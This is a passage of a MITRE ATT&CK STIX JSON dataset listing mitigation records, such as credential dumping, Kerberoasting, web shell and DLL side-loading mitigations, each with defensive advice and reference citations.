techniques.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--797312d4-8a84-4daf-9c56-57da4133c322","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1199","external_id":"T1199"}],"modified":"2019-07-25T12:30:35.417Z","name":"Trusted Relationship Mitigation","description":"Network segmentation can be used to isolate infrastructure components that do not require broad network access. Properly manage accounts and permissions used by parties in trusted relationships to minimize potential abuse by the party and if the party is compromised by an adversary. Vet the security policies and procedures of organizations that are contracted for work that require privileged access to network resources.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--7a14d974-f3d9-4e4e-9b7d-980385762908","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1073","external_id":"T1073"}],"modified":"2019-07-24T14:24:44.818Z","name":"DLL Side-Loading Mitigation","description":"Update software regularly. Install software in write-protected locations. Use the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-loading vulnerabilities in software.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--7a4d0054-53cd-476f-88af-955dddc80ee0","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1189","external_id":"T1189"},{"url":"https://blogs.windows.com/msedgedev/2017/03/23/strengthening-microsoft-edge-sandbox/","description":"Cowan, C. (2017, March 23). Strengthening the Microsoft Edge Sandbox. Retrieved March 12, 2018.","source_name":"Windows Blogs Microsoft Edge Sandbox"},{"url":"https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/","description":"Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.","source_name":"Ars Technica Pwn2Own 2017 VM Escape"},{"url":"https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/","description":"Nunez, N. (2017, August 9). Moving Beyond EMET II – Windows Defender Exploit Guard. Retrieved March 12, 2018.","source_name":"TechNet Moving Beyond EMET"},{"url":"https://en.wikipedia.org/wiki/Control-flow_integrity","description":"Wikipedia. (2018, January 11). Control-flow integrity. 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(Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nOther types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--7a6e5ca3-562f-4185-a323-f3b62b5b2e6b","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1177","external_id":"T1177"},{"source_name":"Microsoft LSA Protection Mar 2014","description":"Microsoft. (2014, March 12). Configuring Additional LSA Protection. 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(Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--7da0387c-ba92-4553-b291-b636ee42b2eb","type":"course-of-action","created":"2019-06-11T17:02:36.984Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"M1046","url":"https://attack.mitre.org/mitigations/M1046"}],"modified":"2020-05-19T12:28:50.603Z","name":"Boot Integrity","description":"Use secure methods to boot a system and verify the integrity of the operating system and loading mechanisms.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--7ee0879d-ce4f-4f54-a96b-c532dfb98ffd","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1005","url":"https://attack.mitre.org/mitigations/T1005","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. 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(Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--809b79cd-be78-4597-88d1-5496d1d9993a","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1154","external_id":"T1154"}],"modified":"2019-07-25T12:29:22.784Z","name":"Trap Mitigation","description":"Due to potential legitimate uses of trap commands, it's may be difficult to mitigate use of this technique.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--80c91478-ac87-434f-bee7-11f37aec4d74","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1173","external_id":"T1173"},{"source_name":"Microsoft DDE Advisory Nov 2017","description":"Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.","url":"https://technet.microsoft.com/library/security/4053440"},{"url":"https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/","description":"Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.","source_name":"BleepingComputer DDE Disabled in Word Dec 2017"},{"url":"https://gist.github.com/wdormann/732bb88d9b5dd5a66c9f1e1498f31a1b","description":"Dormann, W. (2017, October 20). Disable DDEAUTO for Outlook, Word, OneNote, and Excel versions 2010, 2013, 2016. Retrieved February 3, 2018.","source_name":"GitHub Disable DDEAUTO Oct 2017"},{"source_name":"Microsoft ADV170021 Dec 2017","description":"Microsoft. (2017, December 12). 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Retrieved April 24, 2019.","url":"http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf","source_name":"CERT-EU DDoS March 2017"}],"modified":"2019-07-24T19:16:50.511Z","name":"Endpoint Denial of Service Mitigation","description":"Leverage services provided by Content Delivery Networks (CDN) or providers specializing in DoS mitigations to filter traffic upstream from services.(Citation: CERT-EU DDoS March 2017) Filter boundary traffic by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport. 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Manage Trusted Publishers. Retrieved March 31, 2016.","url":"https://technet.microsoft.com/en-us/library/cc733026.aspx"},{"source_name":"Securelist Digital Certificates","description":"Ladikov, A. (2015, January 29). Why You Shouldn’t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.","url":"https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/"}],"modified":"2020-01-17T16:45:23.319Z","name":"Code Signing Mitigation","description":"Process whitelisting and trusted publishers to verify authenticity of software can help prevent signed malicious or untrusted code from executing on a system. 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Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nBlock unknown or unused attachments by default that should not be transmitted over email as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some email scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious attachments in [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).\n\nBecause this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails. To prevent the attachments from executing, application whitelisting can be used. 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(Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--a1482e43-f3ff-4fbd-94de-ad1244738166","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1209","url":"https://attack.mitre.org/mitigations/T1209","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"url":"https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings","description":"Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. 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(2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.","url":"https://adsecurity.org/?p=2293"}],"modified":"2019-07-24T19:44:28.440Z","name":"Kerberoasting Mitigation","description":"Ensure strong password length (ideally 25+ characters) and complexity for service accounts and that these passwords periodically expire. (Citation: AdSecurity Cracking Kerberos Dec 2015) Also consider using Group Managed Service Accounts or another third party product such as password vaulting. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nLimit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nEnable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible. (Citation: AdSecurity Cracking Kerberos Dec 2015)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--a569295c-a093-4db4-9fb4-7105edef85ad","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1024","external_id":"T1024"},{"source_name":"University of Birmingham C2","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. 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(Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--ac008435-af58-4f77-988a-c9b96c5920f5","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1096","url":"https://attack.mitre.org/mitigations/T1096","source_name":"mitre-attack"},{"url":"https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/","description":"Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.","source_name":"Microsoft ADS Mar 2014"},{"source_name":"Symantec ADS May 2009","description":"Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018.","url":"https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. 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However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. Determine if certain websites that can be used for spearphishing are necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk. Other mitigations can take place as [User Execution](https://attack.mitre.org/techniques/T1204) occurs.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--ae56a49d-5281-45c5-ab95-70a1439c338e","type":"course-of-action","created":"2019-04-25T20:53:07.814Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://attack.mitre.org/mitigations/T1500","source_name":"mitre-attack","external_id":"T1500"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2021-08-23T20:25:22.015Z","name":"Compile After Delivery Mitigation","description":"This type of technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, blocking all file compilation may have unintended side effects, such as preventing legitimate OS frameworks and code development mechanisms from operating properly. Consider removing compilers if not needed, otherwise efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to decrypt, deobfuscate, decode, and compile files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--aeff5887-8f9e-48d5-a523-9b395e2ce80a","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1003","url":"https://attack.mitre.org/mitigations/T1003","source_name":"mitre-attack"},{"url":"https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach","description":"Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017.","source_name":"Microsoft Securing Privileged Access"},{"source_name":"Microsoft LSA","description":"Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved February 13, 2015.","url":"https://technet.microsoft.com/en-us/library/dn408187.aspx"},{"url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","source_name":"Beechey 2010"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","source_name":"Corio 2008"},{"url":"https://technet.microsoft.com/en-us/library/ee791851.aspx","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","source_name":"TechNet Applocker vs SRP"},{"source_name":"TechNet Credential Guard","description":"Lich, B. (2016, May 31). Protect derived domain credentials with Credential Guard. Retrieved June 1, 2016.","url":"https://technet.microsoft.com/en-us/itpro/windows/keep-secure/credential-guard"},{"source_name":"GitHub SHB Credential Guard","description":"NSA IAD. (2017, April 20). Secure Host Baseline - Credential Guard. Retrieved April 25, 2017.","url":"https://github.com/iadgov/Secure-Host-Baseline/tree/master/Credential%20Guard"},{"url":"https://adsecurity.org/?p=1729","description":"Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.","source_name":"AdSecurity DCSync Sept 2015"},{"source_name":"Microsoft Replication ACL","description":"Microsoft. (n.d.). How to grant the \"Replicating Directory Changes\" permission for the Microsoft Metadirectory Services ADMA service account. Retrieved December 4, 2017.","url":"https://support.microsoft.com/help/303972/how-to-grant-the-replicating-directory-changes-permission-for-the-micr"},{"source_name":"Microsoft Disable NTLM Nov 2012","description":"Microsoft. (2012, November 29). Using security policies to restrict NTLM traffic. Retrieved December 4, 2017.","url":"https://technet.microsoft.com/library/jj865668.aspx"}],"modified":"2021-08-23T20:25:19.916Z","name":"Credential Dumping Mitigation","description":"### Windows\nMonitor/harden access to LSASS and SAM table with tools that allow process whitelisting. Limit credential overlap across systems to prevent lateral movement opportunities using [Valid Accounts](https://attack.mitre.org/techniques/T1078) if passwords and hashes are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)\n\nOn Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA. (Citation: Microsoft LSA)\n\nIdentify and block potentially malicious software that may be used to dump credentials by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nWith Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. (Citation: TechNet Credential Guard) It also does not protect against all forms of credential dumping. (Citation: GitHub SHB Credential Guard)\n\nManage the access control list for “Replicating Directory Changes” and other permissions associated with domain controller replication. (Citation: AdSecurity DCSync Sept 2015) (Citation: Microsoft Replication ACL)\n\nConsider disabling or restricting NTLM traffic. (Citation: Microsoft Disable NTLM Nov 2012)\n\n### Linux\nScraping the passwords from memory requires root privileges. Follow best practices in restricting access to escalated privileges to avoid hostile programs from accessing such sensitive regions of memory.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--af093bc8-7b59-4e2a-9da8-8e839b4c50c6","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1219","external_id":"T1219"}],"modified":"2019-07-25T11:32:44.821Z","name":"Remote Access Tools Mitigation","description":"Properly configure firewalls, application firewalls, and proxies to limit outgoing traffic to sites and services used by remote access tools.\n\nNetwork intrusion detection and prevention systems that use network signatures may be able to prevent traffic to these services as well.\n\nUse application whitelisting to mitigate use of and installation of unapproved software.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","type":"course-of-action","created":"2019-06-10T20:53:36.319Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"M1032","url":"https://attack.mitre.org/mitigations/M1032"}],"modified":"2019-06-10T20:53:36.319Z","name":"Multi-factor Authentication","description":"Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--b52f41b9-ccf6-4da7-a6c0-167eeb71fbd8","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1176","external_id":"T1176"},{"source_name":"Technospot Chrome Extensions GP","description":"Mohta, A. (n.d.). Block Chrome Extensions using Google Chrome Group Policy Settings. Retrieved January 10, 2018.","url":"http://www.technospot.net/blogs/block-chrome-extensions-using-google-chrome-group-policy-settings/"}],"modified":"2019-07-24T14:41:17.903Z","name":"Browser Extensions Mitigation","description":"Only install browser extensions from trusted sources that can be verified. Ensure extensions that are installed are the intended ones as many malicious extensions will masquerade as legitimate ones.\n\nBrowser extensions for some browsers can be controlled through Group Policy. Set a browser extension white or black list as appropriate for your security policy. (Citation: Technospot Chrome Extensions GP)\n\nChange settings to prevent the browser from installing extensions without sufficient permissions.\n\nClose out all browser sessions when finished using them.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067","type":"course-of-action","created":"2019-07-19T14:40:23.529Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"M1054","url":"https://attack.mitre.org/mitigations/M1054"}],"modified":"2020-03-31T13:11:09.471Z","name":"Software Configuration","description":"Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--b70627f7-3b43-4c6f-8fc0-c918c41f8f72","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1207","external_id":"T1207"}],"modified":"2019-07-24T14:23:59.683Z","name":"DCShadow Mitigation","description":"This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of AD design features. For example, mitigating specific AD API calls will likely have unintended side effects, such as preventing DC replication from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--b7b2c89c-09c1-4b71-ae7c-000ec2893aab","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1050","url":"https://attack.mitre.org/mitigations/T1050","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. 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(Citation: Microsoft Trust Considerations Nov 2014) (Citation: Microsoft SID Filtering Quarantining Jan 2009) However note that SID Filtering is not automatically applied to legacy trusts or may have been deliberately disabled to allow inter-domain access to resources.\n\nSID Filtering can be applied by: (Citation: Microsoft Netdom Trust Sept 2012)\n\n* Disabling SIDHistory on forest trusts using the netdom tool (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /EnableSIDHistory:no</code> on the domain controller). \n* Applying SID Filter Quarantining to external trusts using the netdom tool (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /quarantine:yes</code> on the domain controller)\nApplying SID Filtering to domain trusts within a single forest is not recommended as it is an unsupported configuration and can cause breaking changes. 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(2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.","url":"https://www.us-cert.gov/ncas/alerts/TA15-314A"}],"modified":"2019-07-25T12:34:23.847Z","name":"Web Shell Mitigation","description":"Ensure that externally facing Web servers are patched regularly to prevent adversary access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) to gain remote code access or through file inclusion weaknesses that may allow adversaries to upload files or scripts that are automatically served as Web pages. \n\nAudit account and group permissions to ensure that accounts used to manage servers do not overlap with accounts and permissions of users in the internal network that could be acquired through Credential Access and used to log into the Web server and plant a Web shell or pivot from the Web server into the internal network. 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Retrieved December 18, 